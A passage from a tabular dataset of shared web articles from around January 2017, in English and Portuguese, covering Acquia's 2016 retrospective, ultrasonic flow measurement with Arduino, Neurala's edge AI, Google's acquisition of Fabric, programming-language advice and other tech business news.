year we have also seen our remote workforce expand; 33 percent of Acquia's employees are now remote. They can be found in 225 cities worldwide. Acquia's offices around the world. The world got more flat for Acquia in 2016. We've also seen an evolution in our partner ecosystem. In addition to working with traditional Drupal businesses, we started partnering with the world's most elite digital agencies and system integrators to deliver massive projects that span dozens of languages and countries. Our partners are taking Acquia and Drupal into some of the world's most impressive brands, new industries and into new parts of the world. Growing pains and challenges I enjoy writing these retrospectives because they allow me to chronicle Acquia's incredible journey. But I also write them for you, because you might be able to learn a thing or two from my experiences. To make these retrospectives useful for everyone, I try to document both milestones and difficulties. To grow an organization, you must learn how to overcome your challenges and growing pains. Rapid growth does not come without cost. In 2016 we made several leadership changes that will help us continue to grow. We added new heads of revenue, European sales, security, IT, talent acquisition and engineering. I'm really proud of the team we built. We exited 2016 in the market for new heads of finance and marketing. Part of the Acquia leadership team at The Lobster Pool restaurant in Rockport, MA. We adjusted our business levers to adapt to changes in the financial markets, which in early 2016 shifted from valuing companies almost solely focused on growth to a combination of growth and free cash flow. This is easier said than done, and required a significant organizational mindshift. We changed our operating plan, took a closer look at expanding headcount, and postponed certain investments we had planned. All this was done in the name of ""fiscal fitness"" to make sure that we don't have to raise more money down the road. Our efforts to cut our burn rate are paying off, and we were able to beat our targets on margin (the difference between our revenue and operating expenses) while continuing to grow our top line. We now manage 17,000+ AWS instances within Acquia Cloud. What we once were able to do efficiently for hundreds of clients is not necessarily the best way to do it for thousands. Going into 2016, we decided to improve the efficiency of our operations at this scale. While more work remains to be done, our efforts are already paying off. For example, we can now roll out new Acquia Cloud releases about 10 times faster than we could at the end of 2015. Lastly, 2016 was the first full year of Drupal 8 availability (it was formally released in November 2015 ). As expected, it took time for developers and the Drupal community to become familiar with its vast array of changes and new capabilities. This wasn't a surprise; in my DrupalCon keynotes I shared that I expected Drupal 8 to really take off in Q4 of 2016. Through the MAP program we committed over $1M in funds and engineering hours to help module creators upgrade their modules to Drupal 8. All told, Acquia invested about $2.5 million in Drupal code contributions in 2016 alone (excluding our contributions in marketing, events, etc). This is the most we have ever invested in Drupal and something is I'm personally very proud of. Product milestones The components and products that make up the Acquia Platform. Acquia remains an amazing place for engineers who want to build great products. We achieved some big milestones over the course of the year. One of the largest milestones was the significant enhancements to our multi-site platform: Acquia Cloud Site Factory. Site Factory allows a team to manage and operate thousands of sites around the world from a single console, ensuring all fixes, upgrades and improvements are delivered responsibly and efficiently. Last year we added support for multiple codebases in Site Factory - which we call Stacks - allowing an organization to manage multiple Site Factories from the same administrative console and distribute the operation around the world over multiple data centers. It's unique in its ability and is being deployed globally by many multinational, multi-brand consumer goods companies. We manage thousands of sites for our biggest customers. Site Factory has elevated Acquia into the realm of very large and ambitious digital experience delivery. Another exciting product release was the third version of Acquia Lift , our personalization and contextualization tool. With the third version of Acquia Lift, we've taken everything we've learned about personalization over the past several years to build a tool that is more flexible and easier to use. The new Lift also provides content syndication services that allow both content and user profile data to be reused across sites. When taken together with Site Factory, Lift permits true content governance and reuse. We also released Lightning , Acquia's Drupal 8 distribution aimed at developers who want to accelerate their projects based on the set of tested and vetted modules and configurations we use ourselves in our customer work. Acquia's commitment to improving the developer experience also led to the release of both Acquia BLT and Acquia Pipelines (private beta). Acquia BLT is a development tool for building new Drupal projects using a standard approach, while Pipelines is a continuous delivery and continuous deployment service that can be used to develop, test and deploy websites on Acquia Cloud. Acquia has also set a precedent of contributing significantly to Drupal . We helped with the release management of Drupal 8.1 and Drupal 8.2, and with the community's adoption of a new innovation model that allows for faster innovation . We also invested a lot in Drupal 8's ""API-first initiative"", whose goal is to improve Drupal's web services capabilities . As part of those efforts, we introduced Waterwheel , a group of SDKs which make it easier to build JavaScript and native mobile applications on top of Drupal 8's REST-backend. We have also been driving usability improvements in Drupal 8 by prototyping a new UX paradigm called "" Outside-in "" and by contributing to the media and layout initiatives. I believe we should maintain our focus on release management, API-first and usability throughout 2017. Our core product, Acquia Cloud, received a major reworking of its user interface. That new UI is a more modern, faster and responsive user interface that simplifies interaction for developers and administrators. The new Acquia Cloud user interface released in 2016. Our focus on security reached new levels in 2016. In January we secured certification that we complied with ISO 27001: the international security and compliance standard for enterprise cloud frameworks. In April we were awarded our FedRAMP ATO from the U.S. Department of Treasury after we were judged compliant with the U.S. federal standards for cloud security and risk management practices. Today we have the most secure, reliable and agile cloud platform available. We ended the year with an exciting partnership with commerce platform Magento that will help us advance our vision of content and commerce . Existing commerce platforms have focused primarily on the transactions (cart systems, payment processing, warehouse/supply chain integration, tax compliance, customer credentials, etc.) and neglected the customer's actual shopping experience. We've demonstrated with numerous customers that a better brand experience can be delivered with Drupal and Acquia Lift alongside these existing commerce platforms. The wind in our sales (pun intended) Entering 2017, I believe that Acquia is positioned for long-term success. Here are a few reasons why: The current market for content, commerce, and community-focused digital experiences is growing rapidly at just under 20 percent per year. We hold a leadership position in our market, despite our relative market share being small. The analysts gave Acquia top marks for our strategic roadmap, vision and execution. Digitization is top-of-mind for all organizations and impacts all elements of their business and value chain. Digital first businesses are seeking platforms that not only work for marketing, but also for service, compliance, portals, commerce and more. Open source combined with the cloud continue to grow at a furious pace. The continuing rise of the developer's influence on technology selection also works in our favor. Drupal 8 is the most significant advance in the evolution of the Drupal and Drupal's new innovation model allows the Drupal community to innovate faster than ever before. Recent advances in machine learning, Internet of Things, augmented reality, speech technology, and conversational interfaces all coming to fruition will lead to new customer experiences and business models, reinforcing the need for API-first solutions and the levels of freedom that only open source and cloud computing offer. As I explained at the beginning of this retrospective, trends and cycles reveal themselves over time. After reflecting on 2016, I believe that Acquia is in a unique position. As the world has embraced open source and cloud without reservation, our long-term commitment to this disruptive combination has put us at the right place at the right time. Our investments in expanding the breadth of our platform with products like Acquia Lift and Site Factory are also starting to pay off. However, Acquia's success is not only determined by the technology we back. Our unique innovation model, which is impossible to cultivate with proprietary software, combined with our commitment to customer success has also contributed to our ""crossing of the chasm."" Of course, none of these 2016 results and milestones would be possible without the hard work of the Acquia team, our customers, partners, the Drupal community, and our many friends. Thank you for your support in 2016 - I can't wait to see what the next year will bring!",en
1484671594,CONTENT SHARED,3704349024245704692,3609194402293569455,-5431319694553493094,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.embarcados.com.br/vazao-sensor-ultra-sonico-de-distancia/,Medindo vazão utilizando sensor ultra-sônico de distância - Embarcados,"Estimar a vazão de reservatórios de fluídos (água, por exemplo) nem sempre é uma tarefa simples e barata. O uso de sensores de fluxo (comumente utilizados para esta tarefa) pode ser uma alternativa cara, uma vez que por interagir direto com o fluído em questão, exige o uso de materiais especiais, manutenção constante e, além disso, podem causar efeitos de perda de carga. Como alternativa a este tipo de sensor, este artigo mostrará como estimar a vazão de um reservatório, utilizando para isso um simples sensor ultra-sônico de distância. Lembrando que esta ideia é extremamente barata e pode ser aplicada em alguns casos, a fim de atender quem deseja estimar a vazão de um reservatório (servindo como alternativa relevante a métodos e medições mais caros). O método aqui apresentado pode, claro, ser melhorado, servindo portanto como ponto e partida para algo mais preciso e complexo. Sensor ultra-sônico de distância Como funciona? O sensor ultra-sônico de distância consiste em um sensor contendo um transmissor e um receptor ultra-sônico. Este é capaz de ser usado para mensurar distâncias com base na velocidade do som no ar e na diferença de tempo entre emissão e recepção de um sinal ultra-sônico. Observe a figura 1. Em resumo, seu funcionamento pode ser descrito da seguinte maneira: ao ser dado o ""gatilho"" / trigger , o transmissor ultra-sônico emite um determinado sinal sonoro, em frequência ultra-sônica (acima da audível por seres humanos). Ao atingir um objeto, este sinal sonoro é refletido novamente para o sensor, onde é captado pelo receptor ultra-sônico. No momento da recepção, é gerado um sinal de eco / echo , indicando que um sinal ultra-sônico foi captado com sucesso. Em conhecimento da diferença de tempo entre o trigger e o echo e considerando a velocidade de propagação do som no ar (340m/s), é possível determinar a distância entre o sensor ultra-sônico e o objeto. Em termos matemáticos: OBSERVAÇÕES: 1) O motivo do fator 1/2 no cálculo da distância do objeto é que o tempo mensurado considera a ida e volta do sinal ultra-sônico ao sensor. Portanto, somente metade deste tempo foi necessário para o sinal ultra-sônico ser emitido pelo transmissor e atingir o objeto. 2) O sinal ultra-sônico é refletido tanto no caso de atingir objetos sólidos ou líquidos. Portanto, este tipo de técnica pode ser utilizada para mensurar a distância entre sensor e linha d´água, por exemplo. Hardware utilizado Para este artigo, foi utilizado o sensor ultra-sônico HC-SR04. Este sensor é muito comum no mundo maker e, além disso, tem um custo baixo no mercado. Ele pode ser usado para mensurar distâncias de até 4m, portanto este é o limite operacional do mesmo. Este sensor opera com alimentação de 5V. Como mensurar a vazão de um reservatório com este tipo de sensor? Para compreender como mensurar a vazão de um reservatório com um sensor ultra-sônico, considere a seguinte situação: Neste caso, tem-se um reservatório cilíndrico, de área superior circular de raio R. Sendo assim, a área superior seria dada por: Considere agora que, ao longo do tempo, o nível do líquido no reservatório vai descendo. Para medir este desnível, de tempos em tempos / em intervalos pré-definidos de tempo são feitas duas medidas de distância entre sensor e linha d'água. Ou seja, neste intervalo de tempo descrito, o nível desce d metros. Logo, em termos matemáticos, o volume que é decrescido ao longo do tempo será de: Como a vazão é definida como volume (ou variação de volume) por tempo (ou intervalo de tempo), no caso deste exemplo a vazão é o Volume descrescido no período de tempo da medição das distâncias do sensor à linha d'água (representado aqui por d) . Portanto, se o período de tempo entre as medições for de um segundo e a unidade métrica foi metros, temos a seguinte vazão: Em suma, para calcular a vazão em um reservatório, o procedimento resumido é: Determinar a área superior do seu reservatório (seja o formato que for); Medir, em um intervalo de tempo conveniente, o quanto o nível decresceu; Calcular o volume decrescido neste período de tempo; A vazão é igual à razão do volume calculado pelo intervalo de tempo. Observações: - Este mesmo procedimento vale para reservatórios enchendo (resultando em uma vazão negativa nos cálculos); - Não há restrição de forma da área superior do reservatório. Portanto, este pode ser um reservatório com área superior igual a um retângulo, círculo. O que variará é a forma de calcular a área superior de acordo com a sua forma; - É extremamente recomendável algum tipo de filtragem na leitura das distâncias, já que a leitura pode variar um pouco (sobretudo se o líquido estiver agitado e gerando ondas em sua superfície). Exemplo - aplicação Hardware Para exemplificar este post, será feito um simples projeto, utilizando os seguintes materiais: Arduino Uno; Jumpers macho-fêmea; Protoboard; Sensor ultra-sônico HC-SR04; Cabo USB (para alimentar o Arduino e comunicá-lo com o computador). O circuito esquemático do projeto pode ser visto na figura 3. Software Segue abaixo um software de exemplo (feito para o Arduino Uno) da medição de vazão aqui explicada. No software abordado não foi usado um filtro complexo para amenizar a variação da leitura da distância entre linha d'água e sensor ultra-sônico, foi usada uma média simples, ficando aqui livre para a substituição de uma filtragem mais robusta. Referências Sou engenheiro eletricista formado pela Faculdade de Engenharia de Guaratinguetá (FEG - UNESP) e trabalho com desenvolvimento de firmware (sistemas embarcados bare-metal) na região do ABC paulista. Curioso e viciado em tecnologia, sempre busco me aprimorar na área de eletrônica e programação, em especial em desenvolvimento de firmware (área que mais gosto de trabalhar e estudar).",pt
1484673673,CONTENT SHARED,7375475877233036849,3609194402293569455,-5431319694553493094,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://spectrum.ieee.org/automaton/robotics/artificial-intelligence/ai-startup-neurala-deep-learning-for-nasa-powers-earth-robots,Deep Learning AI for NASA Powers Earth Robots,"Image: Neurala Neurala's AI system, which can identify pedestrians, cars, and cyclists in real-time, is designed to operate on low-power smartphone chips, without relying on the cloud. Massimiliano ""Max"" Versace traces the birth date of his startup to when NASA came knocking in 2010. The U.S. space agency had caught wind of his military-funded Boston University research on making software for a brain-inspired microprocessor through an IEEE Spectrum article , and wanted to see if Versace and his colleagues could help develop a software controller for robotic rovers that could autonomously explore Mars. NASA's vision proved no easy challenge. rely solely on images from a low-end camera to navigate different environments. More important, such AI software would also have to do the job by running on a single GPU chip. More than six years later, Versace's startup, called Mars rovers have limited computing, communications, and power resources . NASA engineers wanted artificial intelligence that could Neurala , has been testing a updated prototype of the AI ""brain"" it developed for NASA with the goal of rolling it out to select customers within a matter of months. Versace likes to say that Neurala, which raised $14 million in a recent series A funding round, developed the AI technology for Mars, but now wants to bring it down to Earth. Like NASA Mars rovers, fast-flying drones and self-driving cars could use onboard AI to quickly recognize objects in their surroundings so that they make decisions accordingly. The startup has already commercialized certain slices of its AI software through licensing deals and contracts with drone companies and a major automaker eyeing the future of autonomous vehicles. Neurala's vision for an AI brain relies on the latest advances in deep learning , with artificial neural networks training themselves to perform tasks like object recognition by filtering the relevant data through many layers of processing. But unlike tech giants like Google, Amazon, and Facebook-as well as a host of AI startups-that offer deep learning toolkits and online services based on powerful cloud computing servers, Neurala's AI can operate on the computationally low-power chips found in smartphones. Versace declined to go into specifics, but noted that Neurala's approach focuses on edge computing, which relies on onboard hardware, in contrast to other approaches that are based on centralized systems. Unlike deep learning toolkits and online services based on powerful cloud servers, Neurala's AI can operate on the computationally low-power chips found in smartphones ""You have to be really lean and innovative in the way you implement stuff at the edge as opposed to on the cloud,"" Versace explains. ""We want to provide the full, end-to-end solution to customers, including navigation, collision avoidance, and image processing, all small enough to run on a device versus doing the processing on a server."" The startup's focus on fast and efficient deep learning done through edge computing may explain why Versace does not sound very worried about the competition so far. Neurala's secret sauce is primarily its software that is ""hardware agnostic"" and can run on a variety of industry-standard processors produced by the usual suspects such as ARM, Nvidia, and Intel. Some early Neurala customers have licensed the company's technology to adapt for their own needs through Neurala's software development kit. One example is Teal Drones, which uses Neurala's onboard software in its speedy racing drones. The drone industry has proven Neurala's biggest revenue generator so far; the startup also has a multi-year deal with Parrot , one of the world's largest drone companies. Photo: Neurala AI startup Neurala co-founder Max Versace. Another Neurala customer is the major automaker interested in developing self-driving cars. Roger Matus, vice president of products and markets at Neurala, was unable to reveal the name at this time, but said that Neurala's solution would help cars to identify objects such as pedestrians or street signs in real-time. The technology is currently being tested in production model vehicles. A third category of applications will involve Motorola Solutions using Neurala's AI solution in a service for emergency responders such as police and fire departments. Matus said Neurala is also eager to apply its deep learning AI to robot toys and perhaps household robots. ""Imagine a home robot that can recognize who is giving it a command, and when you say get me a beer it will know what a beer is,"" he said, adding that such applications require fast, smooth interaction with users, something that cloud systems can't always guarantee. Much has happened in the decade since Neurala's earliest origins. In 2006, Versace was contemplating how hardware limitations represented a major stumbling block for AI in his PhD research. That led him and his colleagues-Anatoly Gorshechnikov and Heather Ames-to identify GPUs as a major candidate for enabling future AI. They patented the use of GPUs in supporting neural networks and created Neurala as a home for the patent. ""It's been a hell of a ride going from writing down a patent on a paper napkin outside a restaurant to deploying the technology to customers,"" Versace says.",en
1484676297,CONTENT SHARED,3440451510720294447,-1130272294246983140,-8394407311269198311,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,http://www.cocacolabrasil.com.br/historias/projeto-de-nova-identidade-visual-para-embalagens-de-coca-cola-foi-liderado-pela-designer-brasileira-cristiana-grether,"Conheça Cris Grether, a diretora Global de Design que liderou, em Atlanta, a reformulação das embalagens de Coca-Cola","Imagine que você trabalhou na Coca-Cola Brasil e foi pioneiro para criar um pensamento de design na empresa. Agora pense que você foi promovido para a The Coca-Cola Company, em Atlanta, onde está o centro mundial da companhia. Dois anos intensos se passaram. E a sua missão foi das grandes: liderar, ao lado do seu chefe, a maior transformação das embalagens da Coca-Cola em décadas, dentro da Estratégia de Marca Única. Cristiana Grether fez isso. Designer carioca que já viveu em Nova York e Londres, é a diretora Global de Capacitação em Design, braço-direito de James Sommerville, vice-presidente Global de Design. Ela organizou todo o trabalho de agências e equipes internas das mais variadas áreas para traduzir, nas embalagens, a nova estratégia mundial da Coca-Cola . Em visita ao país, ela concedeu esta entrevista para o Journey. ""Todos foram para o computador trabalhar duro. O nosso problema não era a Estratégia de Marca Única, isso já estava definido. Nossa questão era como traduzir essa estratégia para o sistema de embalagens da Coca-Cola "". Um cenário complexo, de diversos tamanhos e materiais, tintas, processos industriais e diferentes quantidades de informações legais - dependendo de um dos 207 países onde a embalagem irá circular. Cris lembra que a receita ideal é considerar essa infinidade de variáveis, mas priorizando a melhor experiência para o consumidor. O que será importante para ele no corredor do supermercado? O que ele vai sentir ao segurar a nossa embalagem nas mãos? É o processo de trabalho conhecido no mercado como Design Thinking. ""Eu nem sabia o que era Design Thinking. Na faculdade, estudei Design Gráfico e meu mestrado foi em Comunicação Visual. Pra mim era só uma forma de se trabalhar. A gente era exposto a um problema e depois resolvia. Mas designer é teimoso, ficamos sempre pensando se aquele é o certo a ser resolvido. E nós não fazemos isso de forma convencional. Vamos ao lugar em questão, seja na farmácia ou na favela. Observamos tudo, entrevistamos, priorizamos as pessoas"", explica Cris.",pt
1484742606,CONTENT SHARED,-1999468346928419252,3609194402293569455,2769014915644964260,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://goto.docker.com/DockerDatacenterforAWS_LP.html,"Docker - Build, Ship, and Run Any App, Anywhere","AWS users are now using Docker containers to help them create, manage, deploy and scale their applications across EC2 clusters. In this webinar you will learn about Docker Datacenter for AWS and how the solution delivers an end to end platform complete with the security IT operations requires and the tools that developers need to build dockerized applications, quickly.",en
1484762915,CONTENT SHARED,6236312923258954569,3609194402293569455,2769014915644964260,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://trendwatching.com/trends/5-asian-trends-for-2017/,5 Asian Trends for 2017,"The new year: a time for round-ups, reviews, and some serious planning. We've got you covered! In this briefing you'll find a selection of recent Asian innovations that are changing consumer expectations across the region. They represent the five big consumer trends shaping Asian consumerism in 2017. And each of those trends is an actionable innovation opportunity for you. Understanding these trends will help you answer the question, ' what will my consumers want next?' . And that will empower you to create innovations - new products, services, campaigns and business models - that customers will love. The five trends in this briefing didn't come out of the blue. They are emerging new directions inside a Bigger Picture - the 16 mega-trends shaping consumerism at large today (more on that below). But each one is also a killer opportunity to take to your team right now. So: read, think, debate. Then get going with building brands that matter, products that delight and campaigns people can't stop talking about! 1. Trend-Driven Innovation Spotting trends? It all starts with innovations... The not-so-secret secret to spotting trends (including the five you just read)? Stop watching customers and start watching the innovations - products, services, campaigns - flooding into the market now. Draw lines between similar innovations, and interrogate them for the new customer expectations they're helping to create. If that sounds like your thing, you'll find the end-to-end guide to our complete methodology in our book, Trend-Driven Innovation . But your next question might be 'how do we process the thousands of innovations out there?'. Well, it helps to have a Trend Framework... As always, we wrap up with a call to action... While it's our job just to watch trends, ambitious business professionals should read these trends with only one thing in mind: how to apply these trends and create compelling new innovations that will delight your customers (and win new ones!). We can help with that too! Yes, customers have never been more demanding. Yes, there's never been more competition. Blah blah blah. None of this is going away in 2017 (or 2018, or 2019...). However, trends are the secret weapon that help you turn this overwhelm to your advantage. But you already knew that ;) So, take our CONSUMER TREND CANVAS , a free one-page guide to analyzing and applying trends. Dive into its simple, practical, step-by-step process to creating innovations that are deeply grounded in what customers want, desire and expect. Then win. And finally... Here's to a successful 2017! Cheers! 干杯! Mabuhay! 건배! โชคดี​! Một, hai, ba, vô!",en
1484784451,CONTENT SHARED,-3978716320611299242,490109768671667408,7240160886769515573,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0.2 Safari/602.3.12",SP,BR,HTML,http://fabric.io/blog/fabric-joins-google/,Fabric is Joining Google,"Fabric has grown to reach 2.5 billion active mobile devices, and Fabric's Crashlytics and Answers kits were recently recognized as the #1 SDKs for app stability and analytics. We are incredibly proud of the products we have built and grateful to this community of more than 580K passionate mobile developers.",en
1484837692,CONTENT SHARED,3091351089612339864,3609194402293569455,-8817271067166899413,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.sitepoint.com/whats-the-best-programming-language-to-learn-in-2017/,What's the Best Programming Language to Learn in 2017?,"Many of you will reflect on your skill set and career choices as we embark on the new year. There are numerous sources of ""best language"" statistics, so that's where we'll begin ... Stack Overflow Developer Survey More than 56,000 developers in 173 countries completed the Stack Overflow Developer Survey during 2016. Here are the most-used technologies : The survey also asked what developers loved most : and what developers most dreaded: Perhaps more useful are the technologies developers are interested in learning: Stack Overflow Top Tech Stack Overflow also collated statistics for questions, answers and votes : PYPL Popularity The PYPL Popularity of Programming Languages Index uses data from Google Trends to determine how often language tutorials are searched online: TIOBE Index, January 2017 The TIOBE Programming Community Index rates languages using search engine results to provide a ranking percentage: The biggest riser during 2016 was Go , which leapt from nowhere to 2.3% (#13). Java fell 4.19%, but it remains almost double C's score. What Do Surveys Tell Us? Surprisingly little. Results are interesting but often contradictory, and data collection methods are limited: Search engine results can favor older, more problematic or more widespread languages. Few would expect VisualBasic to appear above JavaScript. Online surveys are limited to a specific audience. Stack Overflow is populated by reasonably knowledgeable developers who have encountered problems in popular languages and frameworks. Historical usage patterns do not necessarily indicate future trends. Node.js did not exist a decade ago. In the mid-1990s, Perl or C were the most viable options for server-side development. For example, all surveys rank Java higher than PHP. Java is often adopted for education and used to develop command line, desktop and native Android applications. Yet WordPress powers 27.3% of the web and is written in PHP. PHP is used on 82.4% of web servers compared to just 2.7% for Java. PHP was developed for the web and has a more widespread adoption on the platform. There's nothing wrong with Java but, if you want a web development career, PHP could serve better. Probably. Depending on where you live and work. And the industry you work in. And what you do. Surveys are flawed, so perhaps we can seek ... Other Developer Opinions I've been writing ""best language"" articles for several years and they attract numerous comments. Everyone has an opinion, and that's great. Yet everyone is wrong. No developer has experience in every language. Some will have good knowledge of several, but no one can offer an unbiased choice. Whatever language a developer chooses and uses daily becomes their preferred option. They will passionately defend that decision because, if they can't, they'd switch to something else. Other developers can offer lessons learned from their experiences. That is useful information, but you're unlikely to have identical aspirations. To flip this on its head, seek opinions from developers who've been forced to use a particular language or framework: the majority will hate that technology. Why trust someone else to make a decision for you? If we can't rely on surveys or the opinions of others, where does it lead? ... There's no ""Best Language"" If you learn to drive a car, that knowledge can be transferred to driving a bus, a truck or a tractor. Similarly, most computer languages implement input, output, variables, loops, conditions and functions. Learn the basics of any language and learning another becomes considerably easier. It's mostly a different syntax . You cannot choose the ""wrong"" language; all development knowledge is good knowledge. Perhaps picking COBOL for an iOS game isn't the best choice, but you'd quickly discover it was impractical and learn something about the language which was useful elsewhere. The hardest part of any learning process is making a start ... Are You Asking the Right Questions? Those with some programming experience know where they've been struggling. The gaps in their knowledge are more obvious: If you're spending too much time manually manipulating spreadsheet data, invest some effort in learning its macro language. If you've been developing a website and are unhappy with the layout, improving your CSS knowledge is an obvious next step. If you're developing a server application and need to store data, learning SQL or a NoSQL alternative is a logical option. Those asking ""what language should I learn?"" are probably new to the software industry. A comparably vague question would be ""what clothes should I wear?"" . No one can answer until they appreciate your age, gender, size, taste, preferences, country, local weather, customs, decency laws, where it will be worn, etc. It's impossible to suggest a language without knowing: whether you're genuinely interested programming what problems you want to solve what hardware and systems are available to you what time and learning opportunities you have, and all the variables associated with the factors above. No one wakes up and decides to embark on a professional development career without any programming experience. If you're genuinely interested in development, pick a small project, choose a language, dig out some tutorials and get going. A few places to start on SitePoint ... Then Keep Learning Despite stating that other developer opinions won't align with your situation, I will offer a morsel of advice to SitePoint's primary web development audience: If you're primarily a front-end developer, attempt back-end coding. Try PHP, Node.js, Ruby or whatever piques your interest, then add SQL to your skill set. If you're primarily a back-end developer, learn HTML, CSS and JavaScript. Browser APIs and data formats such as JSON are also beneficial. Frameworks don't count! Learn the basics of the language first. That knowledge will remain invaluable regardless of the ever-changing whims, opinions and tool sets used by the development community. You may not want to become a full-stack developer but, at the very least, it will help you appreciate the work of others and make a better contribution to your project. Best of luck. Stop procrastinating. Stop reading articles like this. Just start coding!",en
1484837876,CONTENT SHARED,-1447641181396994093,3609194402293569455,-8817271067166899413,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2017/01/facebook-tera-startup-garage-dentro-da-maior-incubadora-do-mundo/,"Facebook terá ""Startup Garage"" dentro da maior incubadora do mundo","A Station F, maior incubadora do mundo, localizada em Paris, será inaugurada em abril. O espaço de 34 mil metros quadrados contará com 3 mil mesas para empresas de tecnologia de todos os tipos. O local reunirá também especialistas, aceleradoras e investidores para construir um forte ecossistema. O espaço conta ainda com espaço maker com impressoras 3D, oito espaços para eventos, sala de jogos e além disso, restaurante, quatro cozinhas, bar e café aberto para o público 24 horas todos os dias da semana. Em breve também será disponibilizado um edifício com cem apartamentos compartilhados. ""Conversamos muito com o ecossistema e muitas empresas decidiram nos ajudar"", disse o bilionário francês Xavier Niel. ""O Facebook foi o primeiro que quis fazer parte dessa boa ideia."" Niel fundou a empresa de telecomunicações Free e trabalha em diversos projetos de startups, como por exemplo, o Kima Ventures, um fundo de investimento. Ele está financiando a Station F com Roxanne Varza liderando o projeto. Sheryl Sandberg, chefe de operações do Facebook, visitou o espaço essa semana e anunciou que a a rede social terá uma ""Startup Garage"" dentro da Station F. ""Estamos empolgados de iniciar o Facebook Startup Garage aqui"", disse Sandberg. ""Meu palpite é que nós vamos aprender ainda mais trabalhando com as startups do que elas trabalhando conosco."" A partir de abril, o Facebook terá 80 mesas em um mezanino perto da entrada. O logotipo do Facebook já está lá, esperando a grande inauguração do edifício. A cada seis meses, o Facebook irá trabalhar com 10 a 15 startups e ajudá-las no que for possível. Haverá engenheiros do Facebook e workshops semanais para que as startups possam aprender com o Facebook. As inscrições para a incubadora estão abertas para startups em fase inicial. Para mais detalhes clique aqui .",pt
1484837899,CONTENT SHARED,967143806332397325,3609194402293569455,-8817271067166899413,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2017/01/baidu-abre-laboratorio-de-realidade-aumentada/,Baidu abre laboratório de realidade aumentada - Startupi,"O gigante chinês de buscas, Baidu, está procurando consolidar-se no mundo da realidade aumentada, anunciando esta semana que está estabelecendo um laboratório de AR para pesquisar e construir experiências que integram mais firmemente as experiências digitais dos usuários de dispositivos móveis. A instituição é o quarto laboratório a ser criado sob a divisão Baidu Research, juntando-se à empresa Big Data Lab, Silicon Valley Lab e do Instituto de Deep Learning. Em setembro, a empresa revelou um fundo de risco de US$ 200 milhões focado em fazer investimentos em empresas focadas em inteligência artificial e realidade aumentada. A empresa lançou sua plataforma AR ""DuSee"" em agosto, permitindo aos usuários visualizar animações AR sobrepostas em ambientes reais. Desde que a plataforma foi lançada, a Baidu trabalhou com empresas como L'Oreal China, Lancôme e Mercedes-Benz para criar experiências AR personalizadas dentro do aplicativo central da empresa de busca. Baidu já está criando experiências AR dentro do Mobile Baidu, Baidu Maps e app de serviços locais, Baidu Nuomi. Os recursos de realidade aumentada estão se tornando cada vez mais visíveis para os mais de 1 bilhão de usuários mensais desses aplicativos. No aplicativo Mobile Baidu, por exemplo, quando um usuário insere uma pesquisa, os efeitos AR relacionados às palavras-chave serão exibidos na tela . ""A realidade aumentada nos permite sintetizar o mundo virtual com o mundo real, e vai transformar como todos nós percebemos o mundo ao nosso redor"", Disse Zhongqin Wu, que está dirigindo o novo laboratório. ""Já vimos crescimento rápido no marketing de AR, e esperamos que outras indústrias também o sigam"", completa.",pt
1484838396,CONTENT SHARED,3679601493757850490,3609194402293569455,-8817271067166899413,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.programmableweb.com/news/googles-firebase-team-picks-twitters-fabric/2017/01/18,Google's Firebase Team Picks Up Twitter's Fabric,"Google and Twitter today announced that Google has agreed to acquire the majority of Twitter's developer suite, including Fabric and Crashlytics. The goal, say the companies, is to ensure developers have access to the best possible tools for creating apps. Google says developers should keep their ear to the ground about potential changes. Twitter first launched Fabric in 2014, or about a year after it acquired Crashlytics. Fabric also includes Fastlane and Answers. Together, these tools give developers valuable insight concerning the performance of their apps. By managing some of the debugging process through Fabric, developers are free to spend more time doing what matters: innovating with their apps. Fabric has grown tremendously the last few years. It's fingers touch some 2.5 billion devices around the world and are relied upon by more than 580,000 developers. ""Our goal was to provide the best tools to help developers create amazing apps,"" explained Rich Paret, VP of Engineering & GM of Fabric, in a blog post . ""Since then, Fabric has evolved from a suite of tools for mobile developers to a powerful platform that helps entire teams build better apps, understand their users, and grow their business."" This is what got Google's attention. Google's Developer Products Group plans to absorb Fabric's entire operation, which will be added to the Firebase team. Firebase and Fabric share the same goal. Google said Crashlytics will become its main crash report offering for Firebase moving forward. The future for Answers and Fastlane isn't as clear. ""We'll share further details in the coming weeks after we close the deal, as we work closely together with the Fabric team to determine the most efficient ways to further combine our strengths,"" said Francis Ma, Firebase Product Manager, in a blog post . Developers don't need to worry (yet) about the Fabric SDK/API. ""We have not made any decisions around making changes to any SDKs/APIs,"" said a Google spokesperson to ProgrammableWeb via email. In other words, everyone should just keep doing what they're doing. If Google decides to make changes to the core SDK/API, they're remaining mum for the moment. Ma did say that integrating Fabric into Firebase is part of Google's long-term effort to deliver a comprehensive suite of features for iOS, Android and mobile Web app development. Financial details of the transaction have not been made public, but the move follows some turbulence within Twitter's developer organization last year. For example, in September Twitter canned its annual developer conference. Then, in October, Twitter announced a round of layoffs, at least some of which impacted its developer team. Offloading Fabric could be a sign that Twitter is more interested in focusing on 